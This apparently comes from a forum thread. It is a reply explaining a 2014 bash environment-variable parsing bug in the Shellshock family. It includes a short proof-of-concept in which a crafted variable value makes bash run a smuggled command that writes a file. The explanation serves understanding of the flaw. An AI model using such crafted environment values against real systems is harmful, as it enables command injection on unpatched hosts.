Am I missing something?

I think so, but the sample exploit isn't really designed to give a clear understanding if you don't already know what's going on.

Try this:

  $ export X="() { (a)=>\\"
  $ bash -c 'echo date'
  bash: X: line 1: syntax error near unexpected token `='
  bash: X: line 1: `'
  bash: error importing function definition for `X'
  $ cat echo
  Thu Sep 25 02:27:07 UTC 2014

Setting "X" in that way confuses the bash env variable parser. It barfs at the "=" and leaves the ">\" unparsed

AFAICT (without digging deep into the code) that leave in the execution buffer as ">\[NEWLINE]echo date" which gets treated the same as

  date > echo